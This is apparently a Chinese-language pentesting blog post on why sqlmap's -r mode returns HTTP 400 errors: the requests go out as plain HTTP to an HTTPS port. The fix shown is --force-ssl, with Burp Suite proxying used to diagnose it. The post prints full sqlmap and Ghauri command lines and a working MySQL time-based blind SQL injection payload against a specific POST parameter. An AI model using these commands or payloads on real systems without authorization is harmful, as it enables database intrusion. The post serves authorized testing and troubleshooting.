sqlmap -r 加载请求包报 400 错误:HTTP/HTTPS 端口协议冲突排查与解决
免责声明
本文仅用于网络安全学习、授权测试、CTF / 靶场实战,严禁用于非法攻击,违者后果自负。
目录
问题背景:
排查思路:
解决方案:
Ghauri补充:
总结
问题背景:
使用sqlmap -r "请求文件" ,读取HTTP请求进行sql注入时,有时遇见大量400错误

排查思路:
使用sqlmap的--proxy参数,将请求转发至 Burp Suite便于抓包分析
参数说明:
- 参数释义:`--proxy=PROXY` → 使用代理服务器连接目标URL
- 代理配置:`--proxy=http://127.0.0.1:9090`(Burp Suite代理端口)
相关命令:
python -m sqlmap -r req.txt -p "A_newsauth[]" --dbms mysql --batch --proxy=http://127.0.0.1:9090
使用Burp Suite抓取SQL注入的相关包

得到响应提示:HTTP request was sent to HTTPS port,由此定位出现400状态码是根源sqlmap发送HTTP请求到服务器端口的HTTPS端口。
诱因推断:sqlmap 在读取请求文件时,仅按照 Host 头内容构造请求,未参考 Referer 头的协议类型,因此默认发送 80 端口对应的 HTTP 明文请求
解决方案:
使用sqlmap的--force-ssl参数强制发送HTTPS请求,让服务器能够正确解析请求
参数说明:
- 参数释义:`--force-ssl` → 强制使用SSL/HTTPS协议连接目标
相关命令:
python -m sqlmap -r req.txt -p "A_newsauth[]" --dbms mysql --batch --proxy=http://127.0.0.1:9090 --force-ssl
Burp Suite抓取到服务器返回的正确响应

Ghauri补充:
命令:
ghauri -r req.txt --batch -p "A_newsauth[]" --dbms mysql --dbs
关键输出:
Ghauri identified the following injection point(s) with a total of 196 HTTP(s) requests:
---
Parameter: A_newsauth[] (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: A_login=test&A_pwd=&A_email=admin@admin.com&A_type=1&A_a0=1&A_a1=1&A_a2=1&A_a3=1&A_a4=1&A_a5=1&A_a12=1&A_a6=1&A_a8=1&A_a10=1&A_a7=1&A_a9=1&A_a11=1&A_textauth[]=all&A_newsauth[]=7'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z&A_productauth[]=4&A_formauth[]=8&A_bbsauth[]=1
---
补充说明:
Ghauri作为和sqlmap同类的注入工具,默认会自动适配HTTP/HTTPS协议(或优先尝试HTTPS),所以能绕过协议问题测出漏洞;
总结:
sqlmap在发送请求时,会默认依据 Host 头中的 80 端口发送 HTTP 明文请求,若该端口实际绑定了 HTTPS 服务,就会因协议不匹配触发 400 错误,遇到 sqlmap 批量返回 400 错误或其他sqlmap请求类异常时,都可以通过Burp Suite来抓取 sqlmap 的请求包,分析请求协议、请求头、响应内容等关键信息,以此排查故障原因。







